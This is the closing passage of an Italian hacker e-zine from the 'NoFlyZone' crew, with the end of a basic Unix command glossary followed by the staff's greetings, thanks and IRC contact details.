man sintassi: man comando 'mostra informazioni sul comando
- -
mkdir sintassi: mkdir directory 'crea nuova directory
- -
netstat da informazioni sullo stato della rete
- -
pico sintassi: pico file 'editor di testo
- -
rm sintassi: rm file 'elimina file
- -
rmdir sintassi: rmdir directory 'elimina directory
- -
vi editor di testo un p= complicato
Spazio Avanza di una pagina
-
Invio Avanza di una linea.
-
b Si sposta indietro di una pagina.
-
man comando Mostra il manuale corrispondente al comando inserito
/quit Evil rulez
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-------------------------------[NoFlyZone Staff]-------------------------------
----------------------------------[Greetings]----------------------------------
Rubo la parola a Vicio dal momento che sono l'impaginatore del numero e quindi
posso scrivere ciÚ che voglio prima degli altri:-PP:-))
Questo Ë il primo numero: ci sono articoli nuovi e rivisitazioni di altri...
credo sia un buon lavoro, anche se ci manca ancora una certa maturit‡ generale.
Spero segua presto il numero 2 con tanti nuovi articoli,e, a tal proposito,
invito tutti quelli interessati a contattarci sul canale IRC di azzurra
se si sentono in grado di contribuire! Ben venga gente nuova,ma mi raccomando,
preparati;-)(ricordate prima...lamah,3l33t >>dev\null)
Passo la parola al boss della crew(che forse Ë gi‡ incazzato dal momento che
tutto questo mio parlare non era in programma!:-)))
A presto raga...< < Hack The Planet> > > CiTyHunet
Re:Lordvicio
Il solito kiakkierone :-),nn mi dilungherÚ molto...volevo solo fare i dovuti
ringraziamenti....
1 A tutti coloro ke hanno letto l'e-zine
2 A tutti coloro ke hanno seguito la crew da esterni
3 A tutto il chan #NoFlyZone
4 A tutti i membri della crew,ke hanno fatto un lavoro straordinario ..
5 A tutti coloro ke nn ho citato :P
P.S. Quasi dimenticavo di dirvi dove venire a trovarci:-)
www.noflyzone-crew.cjb.net
IRC: irc.azzurra.it port: 6667 chan: #noflyzone
arkshrine.serverirc.com port: 6667 chan: #noflyzone
Con questo finisco davvero di rompervi!:-)
A presto:-)
Mode E-zine OFF.
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NoFlyZone StaFf!:-)